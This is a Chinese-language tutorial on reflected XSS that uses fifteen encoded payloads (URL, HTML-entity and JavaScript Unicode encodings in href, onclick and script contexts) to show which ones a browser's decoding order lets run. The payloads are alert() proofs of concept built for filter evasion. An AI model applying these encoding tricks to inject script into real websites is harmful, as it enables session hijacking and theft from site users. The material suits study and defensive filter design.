反射型XSS的几种payload

目录

第一种:采用的是urlcode编码

第二种:前面用html实体编码,后面用urlcode编码

第三种:只对:使用urlcode编码

第四种:对<>进行html实体编码

第五种:textarea

第六种:和第五种一样

第七种:对'进行html实体编码

第八种:对'进行Unicode编码

第九种:对alert(9)进行html实体编码

第十种:对alert进行Unicode编码

第十一种:对alert(11)进行Unicode编码

第十二种:对alert和12进行Unicode编码

第十三种:对'进行Unicode编码

第十四种:在以下位置Unicode编码一个换行符\n

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码

总结:


第一种:采用的是urlcode编码

这里编码的就是javascript:alert(1)

复制代码
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>

可以发现并没有执行。因为在href里面不认识urlcode编码后的协议

第二种:前面用html实体编码,后面用urlcode编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

由于先进行html实体编码后变成:

复制代码
<a href="javascript:%61%6c%65%72%74%28%32%29">

再进行url解码就可以识别javascript协议

第三种:只对:使用urlcode编码
复制代码
<a href="javascript%3aalert(3)"></a>

同1,:冒号算协议一部分。

第四种:对<>进行html实体编码
复制代码
<div>&#60;img src=x onerror=alert(4)&#62;</div>

当进入数据状态中的字符引用时,确实可以将编码字符进行解码,但不会进入标签开始状态。所以html把它当成一个字符串,可以展示,但无法执行。

第五种:textarea
复制代码
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

因为<textarea>RCDATA元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素

第六种:和第五种一样
复制代码
<textarea><script>alert(6)</script></textarea>
第七种:对'进行html实体编码
复制代码
<button onclick="confirm('7&#39;);">Button</button>

这里的inclick与a标签的href差不多,可以被html解码。所以执行成功了

第八种:对'进行Unicode编码
复制代码
<button onclick="confirm('8\u0027);">Button</button>

执行失败,因为onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,'显然不行

第九种:对alert(9)进行html实体编码
复制代码
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

由于script属于原始文本元素(Raw text elements),只可以容纳文本 ,注意没有字符引用,于是直接由JS处理,JS也认不出来,所以执行失败。

原始文本元素(Raw text elements)有<script><style>。

第十种:对alert进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

因为只有标识符,所以JS可以识别执行。

第十一种:对alert(11)进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

因为JS中只有字符串和标识符能用Unicode表示,所以执行失败。

第十二种:对alert和12进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

执行失败,虽然这里可以被解码,但是12被解码出来是字符串,需要引号包含。

第十三种:对'进行Unicode编码
复制代码
<script>alert('13\u0027)</script>

肯定执行失败,同8

第十四种:在以下位置Unicode编码一个换行符\n
复制代码
<script>alert('14\u000a')</script>

执行成功。

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

符合web的解码顺序,所以可以被执行。

总结:
  1. <script><style>数据只能有文本,不会有HTML解码和URL解码操作

  2. <textarea><title>里会有HTML解码操作,但不会有子元素

  3. 其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作

  4. 部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII

  5. JavaScript会对字符串和标识符Unicode解码

根据浏览器的自动解码,反向构造 XSS Payload 即可

相关推荐
Dragon Wu12 分钟前
前端 下载后端返回的二进制excel数据
前端·javascript·html5
北海几经夏18 分钟前
React响应式链路
前端·react.js
晴空雨1 小时前
React Media 深度解析:从使用到 window.matchMedia API 详解
前端·react.js
一个有故事的男同学1 小时前
React性能优化全景图:从问题发现到解决方案
前端
探码科技1 小时前
2025年20+超实用技术文档工具清单推荐
前端
Juchecar1 小时前
Vue 3 推荐选择组合式 API 风格(附录与选项式的代码对比)
前端·vue.js
uncleTom6661 小时前
# 从零实现一个Vue 3通用建议选择器组件:设计思路与最佳实践
前端·vue.js
影i1 小时前
iOS WebView 异步跳转解决方案
前端
Nicholas681 小时前
flutter滚动视图之ScrollController源码解析(三)
前端
爪洼守门员1 小时前
安装electron报错的解决方法
前端·javascript·electron